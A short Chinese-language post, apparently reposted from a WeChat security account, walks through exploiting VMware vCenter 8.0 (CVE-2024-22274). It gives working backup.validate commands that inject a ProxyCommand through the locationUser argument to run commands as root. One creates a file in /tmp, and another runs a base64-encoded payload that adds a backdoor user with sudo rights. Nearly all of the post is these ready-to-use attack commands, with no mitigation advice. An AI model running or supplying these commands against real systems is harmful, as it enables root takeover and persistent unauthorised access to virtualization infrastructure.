环境：
– VMware vCenter 8.0.0.10200
– Photon Linux
首先，通过ssh以admin用户登录到vcenter 的严格模式shell
通过执行“admin”用户可用的多个API命令并检查使用“pspy”调用的底层系统命令
backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-oProxyCommand=;/bin/touch /tmp/root!!! 2>' --locationPassword
可见，成功创建文件，并且文件属于root用户
我们可以尝试创建一个新的本地用户
backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-o ProxyCommand=;/bin/bash -c "{echo,dXNlcmFkZCBtYWxaICYmIGVjaG8gLWUgIk1hbElzSGVyZTEjXG5NYWxJc0hlcmUxIyIgfCBwYXNzd2QgbWFsWiA7IHVzZXJtb2QgLXMgL2Jpbi9iYXNoIG1hbFogJiYgdXNlcm1vZCAtYUcgc3VkbyBtYWxaCg==}|{base64,-d}|bash"↑的base64原文useradd malZ && echo -e "MalIsHere1#nMalIsHere1#" | passwd malZ ; usermod -s /bin/bash malZ && usermod -aG sudo malZ
成功创建恶意用户，然后只需要ssh这个用户即可
原文始发于微信公众号（合规渗透）：VMware vCenter RCE CVE-2024-22274 细节公开 ！
